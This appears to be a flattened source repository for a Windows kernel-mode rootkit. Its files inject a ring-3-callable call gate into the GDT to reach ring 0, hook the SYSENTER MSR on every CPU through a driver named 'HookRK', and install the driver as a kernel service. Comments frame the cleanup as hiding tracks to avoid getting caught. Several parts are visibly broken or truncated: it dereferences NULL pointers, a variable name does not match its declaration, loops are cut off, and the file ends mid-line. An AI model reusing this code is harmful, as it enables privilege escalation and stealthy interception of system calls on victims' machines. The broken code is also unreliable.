├── gdt_call_gate_insert.cpp ├── gdt_call_gate_insert.h ├── kmd_hook_ver2.cpp └── kmd_install.cpp /gdt_call_gate_insert.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This function gives us the indication 3 | that we made to ring 0, we just print out 4 | a debug message that the function was called 5 | */ 6 | void say_something() 7 | { 8 | DbgPrint("We are running in ring0 from ring3.....congrats"); 9 | return; 10 | } 11 | 12 | /* 13 | This function will be us to call our call 14 | gate in the GDT. Some things to note here: 15 | 1) We are going to set up our own prologue, and 16 | epilogue, since we are making this like a system 17 | interrupt, we don't want the compiler messing with 18 | things 19 | */ 20 | void __declspec(naked) callgateproc() 21 | { 22 | //PROLOGUE code 23 | __asm 24 | { 25 | pushad; //push EAX, ECX, EBX, EDX, EBP, ESP, ESI, EDI 26 | pushfd; //push EFLAGS 27 | cli; //disable interrupts 28 | push fs; //save fs 29 | 30 | //save 0x30 to fs 31 | mov bx, 0x30; 32 | mov fs, bx; 33 | 34 | push ds; 35 | push es; 36 | 37 | call say_something; //call our special function to let us know we made it into ring0 38 | } 39 | 40 | //EPILOGUE code 41 | __asm 42 | { 43 | //restore the registers and enable the interrrupts 44 | pop es; 45 | pop ds; 46 | pop fs; 47 | sti; //enable interrupts 48 | popfd; 49 | popad; 50 | retf; //note we would retf x, if we passed arguments(x == # of args) 51 | } 52 | } 53 | 54 | 55 | /* 56 | return the base address of the GDTR 57 | */ 58 | 59 | PSEG_DESCRIPTOR getgdtbaseaddress() 60 | { 61 | GDTR gdtr; 62 | __asm 63 | { 64 | SGDT gdtr; //this function returns the contents of gdt 65 | } 66 | return (PSEG_DESCRIPTOR)gdtr.baseaddress; 67 | } 68 | 69 | 70 | /* 71 | return the number of entries in the gdt 72 | */ 73 | DWORD32 getnumberofgdtentries() 74 | { 75 | GDTR gdtr; 76 | __asm 77 | { 78 | SGDT gdtr; //this function returns the contents of gdt 79 | } 80 | return gdtr.nbytes/8; //return the number of entries in the gdt, each entry is 8 bytes 81 | } 82 | 83 | 84 | /* 85 | Build the call gate to insert into the GDT 86 | */ 87 | CALL_GATE_DESCRIPTOR buildcallgate(BYTE *procaddr) 88 | { 89 | DWORD32 address; 90 | CALL_GATE_DESCRIPTOR cg; 91 | 92 | address = (DWORD32)procaddr; 93 | 94 | //assemble our crafted call gate 95 | cg.selector = KGDT_R0_CODE; // we are going to make this a ring0 call gate 96 | cg.argcount = 0; //our function will not have any agruments 97 | cg.zeroes = 0; 98 | cg.type = 0xC; //the descriptor type is going to be a 32 bit call gate 99 | cg.sflag = 0; //0 = system descriptor 100 | cg.dp1 = 0x3; //can be called by ring3 code 101 | cg.pflag = 0; //code is always in memory 102 | cg.offset_00_15 = (WORD)(0x0000FFFF & address); //set the bottom 16 bits of the address 103 | address = address >> 16; //right shift by 16 bits to store the top 16 bits 104 | cg.offset_16_31 = address; //store the top 16 bits 105 | 106 | return cg; 107 | } 108 | 109 | 110 | /* 111 | Inject the call gate into the GDT 112 | */ 113 | CALL_GATE_DESCRIPTOR injectcallgate(CALL_GATE_DESCRIPTOR cg) 114 | { 115 | PSEG_DESCRIPTOR gdt; 116 | PSEG_DESCRIPTOR gdtentry; 117 | PCALL_GATE_DESCRIPTOR oldcgptr; 118 | CALL_GATE_DESCRIPTOR oldcg; 119 | 120 | gdt = getgdtbaseaddress(); //return the base addr of the gdt 121 | oldgdtptr = (PCALL_GATE_DESCRIPTOR)&(gdt[100]); //set the oldptr to the 100th index in the gdt 122 | oldcg = *oldgdtptr; //save the contents of the oldgdt 123 | gdtentry = (PSEG_DESCRIPTOR)&cg; //set the new gdt enrty 124 | gdt[100] = *gdtentry; //inject our crafted call gate 125 | 126 | return oldcg; 127 | } 128 | -------------------------------------------------------------------------------- /gdt_call_gate_insert.h: -------------------------------------------------------------------------------- 1 | 2 | //---------------MACROS------------------------------ 3 | #define KGDT_R0_CODE 0x8 // address to the selector to windows code segment at ring0 4 | #define INDEX_NUMBER_INSERT 100 //this will be the index into the gdt where we will 5 | //place our crafted call gate 6 | 7 | //-----------------variables-------------------------- 8 | 9 | 10 | 11 | //------------------structures------------------------- 12 | #pragma pack(1) //We use this compiler directive to align the structure on a 1 bit boundary, 13 | //instead of a 4 byte boundary (data bus is 32 bits) 14 | typedef struct _GDTR 15 | { 16 | WORD nbytes; //the number of bytes in the GDT, to find the # of selectors divide this # by 8 17 | DWORD32 baseaddr; //this is the base address of the GDT 18 | }GDTR; 19 | #pragma pack() 20 | 21 | #pragma pack(1) //We use this compiler directive to align the structure on a 1 bit boundary, 22 | //instead of a 4 byte boundary (data bus is 32 bits) 23 | 24 | //Define our seg selector structure, which points to a seg_selector in the gdt 25 | typedef struct _SELECTOR 26 | { 27 | WORD rpl:2; //Request privilege level 0 = ring0 28 | WORD t1:1; //table indicator 0 = gdt 29 | WORD index:13; //array index into the table 30 | }SELECTOR; 31 | #pragma pack() 32 | 33 | #pragma pack(1) //We use this compiler directive to align the structure on a 1 bit boundary, 34 | //instead of a 4 byte boundary (data bus is 32 bits) 35 | 36 | //define a segment selector in the gdt 37 | typedef struct _SEG_DESCRIPTOR 38 | { 39 | WORD size_00_15; //segment size, first 15 bits 40 | WORD baseaddress_00_15; //linear base addr of gdt, first 15 bits 41 | WORD baseaddress_16_23:8; //base addr of the gdt, next 8 bits 42 | WORD type:4; //descriptor type, code or data 43 | WORD sflag:1; //0 = system segment, 1 = code/data 44 | WORD dpl:2; //descriptor privilege level = 0x0-0x3 45 | WORD pflag:1; //1 = segment present in memory 46 | WORD size_16_19:4; //seg size, part 2 47 | WORD notused:1; //not used(0) 48 | WORD lflag:1; //l flag(0) 49 | WORD db:1; //default size for operands and addresses 50 | WORD gflag:1; //granularity (1=4kb, 0=1 byte) 51 | WORD baseaddress_24_31:8; //base address part 3 52 | }SEG_DESCRIPTOR, *PSEG_DESCRIPTOR; 53 | #pragma pack() 54 | 55 | #pragma pack(1) //We use this compiler directive to align the structure on a 1 bit boundary, 56 | //instead of a 4 byte boundary (data bus is 32 bits) 57 | 58 | //this will be our call gate descriptor, which is a special kind of seg descriptor for code 59 | typedef struct _CALL_GATE_DESCRIPTOR 60 | { 61 | WORD offset_00_15; //procedure address 62 | WORD selector; //specify the code segment, for this we will use 63 | //KGDT_R0_CODE 64 | WORD argcount:5; //the arguments into the procedure the code selector will describe 65 | WORD zeroes:3; // 66 | WORD type:4; //descriptor type, 32 bit call gate (in binary that's 1100) 67 | WORD sflag:1; //0 = system segment 68 | WORD dp1:2; //dpl required by caller through gate (11 = 0x3) 69 | WORD pflag:1; //pflag, 1=segment in memory 70 | WORD offset_16_31; //procedure address, high word 71 | }CALL_GATE_DESCRIPTOR, *PCALL_GATE_DESCRIPTOR; 72 | #pragma pack() -------------------------------------------------------------------------------- /kmd_hook_ver2.cpp: -------------------------------------------------------------------------------- 1 | //System includes 2 | #include 3 | 4 | #define DEVICE_RK 0x00008001 //used to register what sort of device this is, vendor defined 8000-FFFF 5 | 6 | /* 7 | ----------------------------------- 8 | Sysenter hook macros and structures 9 | ----------------------------------- 10 | */ 11 | //Sysenter Hook macros 12 | #define MSR_EIP 0x176 //this defines the EIP for the sysenter 13 | #define nCPUs 32 //hard define of the number of CPUs 14 | #define PRNTFREQ 1000 //how many a frequency for how often we will display the info in our 15 | //new sysenter fcn addr 16 | 17 | //Define a structure to hold the MSR addresses 18 | typedef struct _MSR 19 | { 20 | DWORD32 loaddr; 21 | DWORD32 highaddr; 22 | }MSR, *PMSR; 23 | 24 | DWORD32 originalMSRlovalue = 0; //this will hold the original loaddr of msr_eip 25 | DWORD32 currentindex = 0; //this will be used to measure our frequency of printing 26 | 27 | 28 | /* 29 | Device specific information 30 | */ 31 | const WCHAR *devicepath = L"\\Device\\HookRK"; //this is the path where the RK will be L = unicode 32 | const WCHAR *linkdevicepath = L"\\DosDevices\\HookRK"; //this is the path of the link 33 | PDEVICE_OBJECT devobj; //pointer to a device object 34 | 35 | 36 | NTSTATUS default_dispatch(PDRIVER_OBJECT pobj, PIRP pirp) 37 | { 38 | UNREFERENCED_PARAMETER(pobj); 39 | DbgPrint("Entering default_dispatch Method \n"); 40 | pirp->IoStatus.Status = STATUS_SUCCESS; //set the irp status 41 | pirp->IoStatus.Information = 0; 42 | IoCompleteRequest(pirp, IO_NO_INCREMENT); //send control back to the io manager 43 | 44 | return STATUS_SUCCESS; 45 | } 46 | 47 | NTSTATUS RegisterDriverDeviceName(PDRIVER_OBJECT pobj) 48 | { 49 | //DbgPrint("Registering the Device Driver\n"); 50 | NTSTATUS ntstatus; //this is used to check the outputs of our driver calls 51 | UNICODE_STRING unistring; //this will be the string which will store the directory of the driver 52 | 53 | RtlInitUnicodeString(&unistring, devicepath); //create a unicode string with our drive path 54 | 55 | //register our device driver with the OS 56 | ntstatus = IoCreateDevice 57 | ( 58 | pobj, //ptr to a driver object 59 | 0, //bytes for drive extention 60 | &unistring, //this is the string which will hold the driver path 61 | DEVICE_RK, //the device type 62 | 0, //system defined constants 63 | TRUE, //driver object is an exclusive device 64 | &devobj //reference to a device object 65 | ); 66 | return ntstatus; 67 | } 68 | 69 | NTSTATUS RegisterDriverDeviceLink(void) 70 | { 71 | DbgPrint("Registering the Device Driver Link\n"); 72 | NTSTATUS ntstatus; //this is used to check the outputs of our driver calls 73 | 74 | UNICODE_STRING deviceunistring; //this will be the string which will store the directory of the driver 75 | UNICODE_STRING devicelinkunistring; //this will be the string which will store the directory of the link to the driver 76 | 77 | RtlInitUnicodeString(&deviceunistring, devicepath); //create a unicode string with the device path 78 | RtlInitUnicodeString(&devicelinkunistring, linkdevicepath); //create a unicode string with the device link path 79 | 80 | //create a symbolic link of the device in the location in linkdevicepath 81 | ntstatus = IoCreateSymbolicLink 82 | ( 83 | &devicelinkunistring, //unicode of the link 84 | &deviceunistring //unicode of the device 85 | ); 86 | 87 | return ntstatus; 88 | } 89 | 90 | /* 91 | FCN: Prnthookmsg 92 | This will be called when we execute the 93 | sysenter instruction 94 | */ 95 | void prnthookmsg(DWORD32 dispatchid, DWORD32 stackPtr) 96 | { 97 | //we will not display information every time 98 | //this is because every function in the windows api 99 | //will call this instruction 100 | if(currentindex == PRNTFREQ) 101 | { 102 | DbgPrint("[PRNTHOOKMSG]: on CPU[%u], (pid=%u, dispatchID=%x), Addr of stack = 0x%x \n", 103 | KeGetCurrentProcessorNumber(), PsGetCurrentProcessId(), dispatchid, &stackPtr); 104 | 105 | currentindex = 0; 106 | } 107 | currentindex++; 108 | } 109 | 110 | /* 111 | FCN: newMSR 112 | this function will be what we replace 113 | the function with at MSR# 176, it 114 | will just print something to the user 115 | but we know we've hooked something 116 | note: We make this function a __declespec(naked) 117 | function because we want to control 118 | the stack layout and the compiler will 119 | not create a prolog or epilogue 120 | */ 121 | void __declspec(naked)newMSR(void) 122 | { 123 | __asm 124 | { 125 | pushad; //push the register values on the stack 126 | pushfd; //push eflags on the stack 127 | 128 | //Note this segment of code is needed 129 | mov ecx, 0x23; 130 | push 0x30; 131 | pop fs; 132 | mov ds, cx; 133 | mov es, cx; 134 | //--------------- 135 | push edx; //save the stack pointer 136 | push eax; //dispatch ID 137 | call prnthookmsg; 138 | //--------------- 139 | popfd; 140 | popad; 141 | jmp [originalMSRlovalue]; 142 | } 143 | } 144 | 145 | //------------------------------------------------ 146 | /* 147 | FCN: readMSR 148 | this function will read the addr of a certain 149 | MSR register, and save it into our custom 150 | MSR structure 151 | */ 152 | void readMSR(DWORD32 regnumber, PMSR msr) 153 | { 154 | DWORD32 loval; 155 | DWORD32 hival; 156 | 157 | __asm 158 | { 159 | //the rdmsr instr reads the 160 | //msr whose number is stored 161 | //in ecx, the contents will 162 | //be saved in eax(lower 32 bits), edx(higher 32 bits) 163 | mov ecx, regnumber; 164 | rdmsr; 165 | mov hival, edx; 166 | mov loval, eax; 167 | } 168 | 169 | //store the msr contents into 170 | //our msr structure 171 | msr->highaddr = hival; 172 | msr->loaddr = loval; 173 | 174 | return; 175 | } 176 | //------------------------------------------------ 177 | 178 | //------------------------------------------------ 179 | /* 180 | FCN: setMSR 181 | this function will read the addr of a certain 182 | MSR register, and save it into our custom 183 | MSR structure 184 | */ 185 | void setMSR(DWORD32 regnumber, PMSR msr) 186 | { 187 | DWORD32 loval; 188 | DWORD32 hival; 189 | 190 | //store the high and low 191 | //addr of the fcn we want 192 | //to write to the msr at regnumber 193 | hival = msr->highaddr; 194 | loval = msr->loaddr; 195 | 196 | __asm 197 | { 198 | mov ecx, regnumber; //store the number of the msr we will write to, EIP msr 199 | mov edx, hival; //set the hi 32 bits of the addr we want to write 200 | mov eax, loval; //set the lo 32 bits of the addr we want to write 201 | wrmsr; //write to the msr register 202 | } 203 | return; 204 | } 205 | //------------------------------------------------ 206 | 207 | //------------------------------------------------ 208 | /* 209 | FCN: HookCPU 210 | this function will read in the addr of MSR 0x176, 211 | save the old MSR value 212 | it will then write our own naked function into 213 | MSR 0x176 214 | */ 215 | DWORD32 HookCPU(DWORD32 procaddr) 216 | { 217 | PMSR oldmsr = NULL; //this will hold our old MSR value 218 | PMSR newmsr = NULL; //we will put our new function 219 | 220 | //read in the original MSR 221 | readMSR(MSR_EIP, oldmsr); 222 | 223 | //save the values into new msr struct 224 | newmsr->loaddr = oldmsr->loaddr; 225 | newmsr->highaddr = newmsr->highaddr; 226 | 227 | //Here we will only store the lower 32 bits, seeing as how our 228 | //addr of the new fcn we will replace the msr with 229 | newmsr->loaddr = procaddr; 230 | 231 | //set the value of the MSR 0x176 232 | setMSR(MSR_EIP, newmsr); 233 | 234 | //return the old value of the MSR for safe keeping 235 | return oldmsr->loaddr; 236 | } 237 | //------------------------------------------------ 238 | 239 | //------------------------------------------------ 240 | /* 241 | FCN: HookallCPUs 242 | This function will set the affinity to any running processor we want 243 | once we do that we can call the function HookCPU, which will replace the SYSENTER 244 | fcn call 245 | */ 246 | void HookAllCPUs(DWORD32 procaddr) 247 | { 248 | KAFFINITY threadaffinity; 249 | KAFFINITY currentCPU; 250 | 251 | //get a bitmap of the active uP on the system 252 | threadaffinity = KeQueryActiveProcessors(); 253 | 254 | for(DWORD32 i = 0; iDeviceObject; //get a pointer to the device object 340 | 341 | //we must perform this step otherwise the entries 342 | //we registered wont be cleared until we reboot the system 343 | RtlInitUnicodeString(&unistring, linkdevicepath); 344 | IoDeleteSymbolicLink(&unistring); //remove the symobilc link entry 345 | 346 | RtlInitUnicodeString(&unistring, linkdevicepath); 347 | IoDeleteDevice(pdevobj); //remove the device entry 348 | 349 | return; 350 | } 351 | 352 | 353 | //Main entry point into a KMD 354 | extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING regpath) 355 | { 356 | UNREFERENCED_PARAMETER(regpath); 357 | DbgPrint("Entering The Device Driver Main Fcn\n"); 358 | int i; 359 | NTSTATUS ntstatus; //this is used to check the outputs of our driver calls 360 | 361 | //set the MAJOR functions table in my KMD to default_dispatch function 362 | //which really does nothing 363 | for(i=0; iMajorFunction[i] = (PDRIVER_DISPATCH)default_dispatch; 368 | } 369 | 370 | //establish the unload function 371 | //we must tell the kmd what to do when the OS 372 | //unloads it, we do this to clean up our tracks 373 | //and undo whatever we have done, prevents getting 374 | //caught 375 | pDriverObject->DriverUnload = unload; 376 | 377 | 378 | //register the device name 379 | ntstatus = RegisterDriverDeviceName(pDriverObject); 380 | 381 | if(!NT_SUCCESS(ntstatus)) 382 | { 383 | //we have failed to register the device 384 | return ntstatus; 385 | } 386 | 387 | ntstatus = RegisterDriverDeviceLink(); 388 | if(!NT_SUCCESS(ntstatus)) 389 | { 390 | //we have failed to create the link 391 | return ntstatus; 392 | } 393 | 394 | //Hook the SYSENTER INSTR 395 | HookSysEnter((DWORD32)prnthookmsg); 396 | 397 | return STATUS_SUCCESS; 398 | } 399 | -------------------------------------------------------------------------------- /kmd_install.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "windows.h" 3 | #include "winsvc.h" 4 | 5 | 6 | /* 7 | Get a handle to the SCM database and then register the service 8 | */ 9 | SC_HANDLE installdriver(LPCTSTR drivername, LPCTSTR binarypath) 10 | { 11 | SC_HANDLE scmdbhandle = NULL; 12 | SC_HANDLE svchandle = NULL; 13 | 14 | //open a handle to the SCM 15 | scmdbhandle = OpenSCManager 16 | ( 17 | NULL, //MAchine name, NULL = local machine 18 | NULL, //database name, NULL = SERVICES_ACTIVE_DATABASE 19 | SC_MANAGER_ALL_ACCESS //desired access 20 | ); 21 | 22 | //Check if were able to open a handle to the SCM 23 | if(scmdbhandle == NULL) 24 | { 25 | cout << "installdriver, could not open handle to SCM manager" << endl; 26 | return NULL; 27 | } 28 | 29 | //create a service which the SCM will run 30 | svchandle = CreateService 31 | ( 32 | scmdbhandle, //handle to the SC manager 33 | drivername, //service name 34 | drivername, //display name 35 | SERVICE_ALL_ACCESS, //desired access 36 | SERVICE_KERNEL_DRIVER, //service type 37 | SERVICE_DEMAND_START, //start type, service will start when we call start service 38 | SERVICE_ERROR_NORMAL, //error control 39 | binarypath, //binary path name 40 | NULL, //load order group 41 | NULL, //tag id 42 | NULL, //Dependancies 43 | NULL, //service start name (account name) 44 | NULL //password for the account 45 | ); 46 | 47 | //check if we were able to create a new service 48 | if(svchandle == NULL) 49 | { 50 | //check if the service already exists 51 | if(GetLastError() == ERROR_SERVICE_EXISTS) 52 | { 53 | cout << "Error service exists" <